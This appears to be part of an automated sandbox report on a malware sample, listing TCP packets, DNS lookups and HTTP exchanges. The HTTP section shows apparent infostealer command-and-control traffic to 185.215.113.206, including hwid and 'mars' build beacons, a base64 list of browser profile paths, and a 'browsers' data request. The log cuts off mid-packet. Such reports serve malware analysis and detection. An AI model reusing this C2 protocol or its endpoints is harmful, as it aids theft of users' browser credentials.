Nov 28, 2024 06:48:31.684947014 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.684957027 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.684967041 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.685734034 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.685770988 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.698232889 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.699373960 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.699754000 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.700253010 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:32.038644075 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:32.068942070 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:32.099287033 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.316015005 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.317322016 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.317600012 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.317610979 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.318183899 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.319566011 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.319700956 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.637523890 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.637602091 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.637614965 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.637629032 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.638016939 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.638073921 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.955775023 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.983850956 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:33.184295893 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:33.184562922 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:33.695564985 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:33.696532011 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:33.696542978 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:33.699697971 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:48.198659897 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:48.198870897 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:48.527363062 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:48.528646946 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:48.556206942 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:48.637080908 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:48.670454979 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:51.373414993 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:51.373922110 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:51.374524117 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:51.374847889 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:51.693761110 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:51.695132971 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:51.695329905 CET	443	51790	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:51.695652008 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:51.701726913 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:51.702703953 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:51.703248024 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:51.703479052 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:55.592055082 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:55.592210054 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:55.922235966 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:55.923885107 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:55.924505949 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:55.925339937 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:58.172283888 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:58.172549963 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:58.501070023 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:58.504256010 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:58.504537106 CET	443	55941	172.64.41.3	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 06:48:09.591712952 CET	192.168.2.5	1.1.1.1	0x5913	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:09.591865063 CET	192.168.2.5	1.1.1.1	0xd3ad	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:22.937104940 CET	192.168.2.5	1.1.1.1	0x7a98	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:22.937280893 CET	192.168.2.5	1.1.1.1	0xbd48	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:25.234158039 CET	192.168.2.5	1.1.1.1	0x86c3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:25.234327078 CET	192.168.2.5	1.1.1.1	0x8663	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 06:48:26.750386953 CET	192.168.2.5	1.1.1.1	0x1f58	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:26.750916004 CET	192.168.2.5	1.1.1.1	0xb258	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:27.564372063 CET	192.168.2.5	1.1.1.1	0x32e5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.564951897 CET	192.168.2.5	1.1.1.1	0x8859	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:27.565783024 CET	192.168.2.5	1.1.1.1	0x3b9f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.566286087 CET	192.168.2.5	1.1.1.1	0x1f51	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:27.605460882 CET	192.168.2.5	1.1.1.1	0xafd9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.605817080 CET	192.168.2.5	1.1.1.1	0x9bcf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:27.998533964 CET	192.168.2.5	1.1.1.1	0xb515	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.998688936 CET	192.168.2.5	1.1.1.1	0xae09	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:28.010999918 CET	192.168.2.5	1.1.1.1	0xf7f7	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.011152983 CET	192.168.2.5	1.1.1.1	0x7438	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:28.144341946 CET	192.168.2.5	1.1.1.1	0x47d	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.144738913 CET	192.168.2.5	1.1.1.1	0x5c35	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 06:48:28.300575972 CET	192.168.2.5	1.1.1.1	0xb1d9	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.300721884 CET	192.168.2.5	1.1.1.1	0xe32b	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 06:48:09.733277082 CET	1.1.1.1	192.168.2.5	0xd3ad	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 06:48:09.735183001 CET	1.1.1.1	192.168.2.5	0x5913	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:23.078037977 CET	1.1.1.1	192.168.2.5	0x7a98	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:23.083497047 CET	1.1.1.1	192.168.2.5	0xbd48	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:23.615247965 CET	1.1.1.1	192.168.2.5	0xe1bb	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:23.615247965 CET	1.1.1.1	192.168.2.5	0xe1bb	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:23.641100883 CET	1.1.1.1	192.168.2.5	0x18f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:25.375485897 CET	1.1.1.1	192.168.2.5	0x8663	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:25.380986929 CET	1.1.1.1	192.168.2.5	0x86c3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:26.893076897 CET	1.1.1.1	192.168.2.5	0x1f58	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:26.893076897 CET	1.1.1.1	192.168.2.5	0x1f58	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:26.991842031 CET	1.1.1.1	192.168.2.5	0xb258	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:27.706587076 CET	1.1.1.1	192.168.2.5	0x32e5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.706587076 CET	1.1.1.1	192.168.2.5	0x32e5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.706631899 CET	1.1.1.1	192.168.2.5	0x8859	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 06:48:27.707272053 CET	1.1.1.1	192.168.2.5	0x1f51	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 06:48:27.707515955 CET	1.1.1.1	192.168.2.5	0x3b9f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.707515955 CET	1.1.1.1	192.168.2.5	0x3b9f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.746776104 CET	1.1.1.1	192.168.2.5	0xafd9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.746776104 CET	1.1.1.1	192.168.2.5	0xafd9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:27.747059107 CET	1.1.1.1	192.168.2.5	0x9bcf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 06:48:28.140016079 CET	1.1.1.1	192.168.2.5	0xb515	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.140016079 CET	1.1.1.1	192.168.2.5	0xb515	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.140016079 CET	1.1.1.1	192.168.2.5	0xb515	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.140016079 CET	1.1.1.1	192.168.2.5	0xb515	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:28.152228117 CET	1.1.1.1	192.168.2.5	0x7438	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:28.152981043 CET	1.1.1.1	192.168.2.5	0xf7f7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:28.286072969 CET	1.1.1.1	192.168.2.5	0x47d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:28.286721945 CET	1.1.1.1	192.168.2.5	0x5c35	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:28.442790985 CET	1.1.1.1	192.168.2.5	0xb1d9	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:28.442816973 CET	1.1.1.1	192.168.2.5	0xe32b	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:29.579751968 CET	1.1.1.1	192.168.2.5	0x4152	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:29.579751968 CET	1.1.1.1	192.168.2.5	0x4152	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:31.781547070 CET	1.1.1.1	192.168.2.5	0xec09	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:31.781547070 CET	1.1.1.1	192.168.2.5	0xec09	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:32.387732983 CET	1.1.1.1	192.168.2.5	0xf467	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:32.387732983 CET	1.1.1.1	192.168.2.5	0xf467	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:34.420708895 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:34.420708895 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:35.433619022 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:35.433619022 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:36.516495943 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:36.516495943 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:38.463968992 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:38.463968992 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 28, 2024 06:48:42.479981899 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 06:48:42.479981899 CET	1.1.1.1	192.168.2.5	0x3797	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
2024-11-28 05:48:30 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	true

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 06:48:01.054466963 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 06:48:02.438864946 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 06:48:02.443636894 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 32 36 36 41 39 34 35 42 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="hwid"E8266A945B0B612331747------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="build"mars------BKEBFHIJECFIDGDGCGHC--
Nov 28, 2024 06:48:02.907970905 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 4e 6b 4e 32 4d 77 4f 54 63 31 4d 7a 45 32 4d 6a 41 79 4d 44 63 78 4d 44 4e 69 4d 54 4e 6c 4d 44 56 68 59 6d 4a 68 5a 6a 63 33 4e 57 5a 6c 4f 44 4d 35 5a 6d 45 33 4d 44 51 7a 4e 32 59 78 4e 44 4e 6d 4e 44 63 33 4e 47 4d 31 4d 6a 59 77 4d 57 59 31 4d 6a 59 32 4e 32 51 33 4e 44 4e 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2NkN2MwOTc1MzE2MjAyMDcxMDNiMTNlMDVhYmJhZjc3NWZlODM5ZmE3MDQzN2YxNDNmNDc3NGM1MjYwMWY1MjY2N2Q3NDNmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 06:48:02.939848900 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 2d 2d 0d 0a Data Ascii: ------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="message"browsers------BKKFCFBKFCFBFIDGCGDH--
Nov 28, 2024 06:48:03.393096924 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 06:48:03.393188953 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 28, 2024 06:48:03.395199060 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 